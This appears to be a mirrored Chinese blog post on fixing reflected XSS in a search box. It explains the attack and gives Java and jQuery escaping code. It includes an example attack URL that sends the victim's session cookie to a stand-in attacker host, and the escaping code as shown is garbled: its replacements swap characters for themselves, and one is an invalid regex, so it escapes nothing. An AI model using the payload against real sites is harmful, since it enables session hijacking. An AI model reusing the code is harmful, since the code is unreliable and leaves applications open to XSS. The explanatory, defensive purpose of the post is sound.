zoukankan      html  css  js  c++  java
  • 搜索框反射型xss问题解决(网站开发)

    什么是反射型XSS
          XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等等。利用该漏洞,攻击者可以劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者拥有该授权用户的所有权限。

    反射型XSS漏洞的攻击步骤

    (1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie: 
    例:Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

    (2) 攻击者将含有攻击代码的URL发送给被攻击人,例:http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E

    举例子:比如网站一般都有的搜索框,当在输入框里面输入:<script>alert(xx.cookies)</script> 的时候,如果你没有处理xss,那么就会弹出提示框,攻击者可以获取cookie信息,从而达到获取用户的所有权限

    一般解决办法:

    反射型XSS漏洞处理

    了解了一下一般反射型XSS漏洞的处理:

    (1) 对一些特殊的标签进行转义; 
    (2) 直接过滤掉JavaScript事件标签和一些特殊的html标签; 
    (3) 将重要的cookie标记为http only; 
    (4) 只允许用户输入我们期望的数据; 
    (5) 对数据进行html encode处理等。

    我的实际解决方案:

    第一,我在后端(java)对要输出到前端的信息,进行特殊字符转换,这样的话jsp页面里就识别不出来为js代码

    public static String revertString(String input) {
            // 使失去用处的标签从新有作用
            if (input == null) {
                input = "";
                return input;
            }
            input = input.trim().replaceAll("&", "&");
            input = input.trim().replaceAll("<", "<");
            input = input.trim().replaceAll(">", ">");
            input = input.trim().replaceAll("	", "    ");
            input = input.trim().replaceAll("
    ", "
    ");
            input = input.trim().replaceAll("
    ", "<br>");
            input = input.trim().replaceAll(""", """);
            input = input.trim().replaceAll("'", "'");
            input = input.trim().replaceAll("\\", "");
            return input;
    }
    

    第二,如果你在前端进行赋值的话,也要进行转换

    var content = $("#so").val().replace(/&/g, '&').toString().replace(/</g, '<').replace(/>/g, '>');
    
    $('#ssjg_div').html(content ); 

    如此就可以解决:搜索框里输入以下所遇到的问题了:

    1,<script>alert(xx.cookies)</script>

    2,"aa"

    3,$nbsp  

  • 相关阅读:
    Java之事件处理
    Java之图形程序设计
    小议设置path环境变量
    关于JAVA中的编译和解释执行
    并发工具类 CountDownLatch
    线程池
    Properties的小问题
    转换流
    TCP中客户端和服务器的理解
    leetcode_160. 相交链表
  • 原文地址:https://www.cnblogs.com/holdon521/p/5163119.html
Copyright © 2011-2022 走看看